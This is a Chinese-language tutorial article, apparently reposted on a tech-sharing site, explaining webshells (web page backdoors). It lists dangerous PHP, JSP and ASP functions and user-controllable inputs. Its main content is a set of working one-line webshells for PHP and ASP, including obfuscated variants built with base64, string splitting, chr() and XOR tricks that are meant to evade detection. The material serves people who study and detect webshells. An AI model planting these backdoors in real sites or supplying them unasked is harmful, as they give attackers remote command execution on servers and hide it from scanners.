webshell详解

webshell详解概念 webshell 就是以 asp php jsp 或者 cgi 等网页文件形式存在的一种命令执行环境 也可以将其称做为一种网页后门

大家好,欢迎来到IT知识分享网。

一、 Webshell 介绍

  1. 概念

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。

从字面上来说,webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境,用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境,从而获取服务器的一些权限,最终达到控制网站服务器的目的。

  1. 简单介绍

一个最简单的 php webshell

<?php system($_GET[1]); ?> 
  1. webshell本质

如下任意命令执行类webshell一般由以下两部分组成:

  • 威胁函数;
  • 可控参数;
    在这里插入图片描述

简单总结 ,Webshell的本质其实是威胁函数和可控参数的组合调用,二者缺一不可。

绝大多数webshell都遵循这个原则,理解了这个大原则,也就基本了解了webshell的逻辑。

  1. 威胁函数与可控输入总结(常见)
  • php Webshell威胁函数 :
1 - 命令执行类函数: exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec, php_check_syntax,virtual,escapeshellcmd 2 – 执行代码段函数 assert,eval,create_function,runkit_function_add,runkit_function_redefine 3 – 回调类函数 call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey, array_filter,array_intersect_uassoc,array_intersect_ukey,array_map, array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc… 4 – 文件包含函数 include, require, require_once, include_once 
  • php webshell 可控输入:
$_GET $_POST $_COOKIE $_REQUEST $_FILES $_SERVER 
  • jsp webshell 威胁函数(类)
 1 - 命令执行: java.lang.Runtime.getRuntime().exec() java.lang.ProcessBuilder.start() java.lang.ProcessImpl //私有类,需要使用反射加载 ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本 ELProcessor().eval() //tomcat el表达式 ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现 java.beans.Expression.getValue() //java.beans.Expression命令执行 jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行 2 - 类加载: java.lang.ClassLoader java.net.URLClassLoader 3 - 反射: Class.forName("{威胁函数}") 4 - 反序列化: XMLDecoder().readObject() // 类似weblogic xml 反序列化漏洞 5 - jndi注入: com.sun.rowset.JdbcRowSetImpl 
  • jsp 可控输入:
1 - Request(HttpServletRequest)的可控参数种类: getParameter, getQueryString, getParameterNames, getInputStream, getReader, getParameterMap, getContentLength, getParameterValues, getHeader, getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames, getContentLengthLong 2 - 其他参数类型: URLConnection(HttpURLConnection) Response(HttpServletResponse) pageContext 
  • asp webshell 威胁函数
eval execute executeGlobal (wscript.shell).exec() 
  • asp 可控输入:
request() Request.BinaryRead() 

php 函数库参考文档:https://www.php.net/

java 类方法参考文档:https://tool.oschina.net/apidocs/apidoc?api=jdk-zh

二 、 基础常见webshell案例

  1. PHP webshell 类
  • “一句话webshell” 类
<?php eval($_POST['1']);?> <?php assert($_REQUEST["c"]);?> <?php system($_POST['1']);?> <?php shell_exec($_GET['1']);?> 
  • create_function 函数使用
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?> 
  • 字符拼接类
<?php $s0="e"; $s1="val($"; $s2="_"; $s3="P"; $s4="O"; $s5="ST"; $poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);"; $pp=@eval($poos); @eval($pp); ?> 
  • ascii码隐藏特征字符
<?php $a="chr"; $b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116); echo $b; $b($_POST['cmd']); ?> 
  • preg_replace 函数 /e 特性使用
<?php $a = $_REQUEST['id']; preg_replace('/.*/e',' '.$a,''); ?> 
  • include 文件包含
<?php @include($_GET['bug']); ?> 
  • 异或逻辑运算隐藏特征字符
<?php #$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; #$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert'; $__='_'.('{'^'+').('/'^'`').(''^']').(' '^']'); // $__='_POST'; echo $__; $___=$$__; $_($___[_]); // assert($_POST[_]); ?> 
  1. asp webshell类
  • eval 执行任意命令
<%eval request("qt")%> 
  • execute 执行任意命令
<% dim a(5) a(0)=request("404") eXecUTe(a(0)) %> 
  • COM组件命令执行
<%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("qt")).stdout.readall%> 

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/121912.html

(0)
上一篇 2025-10-20 18:33
下一篇 2025-10-20 19:00

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信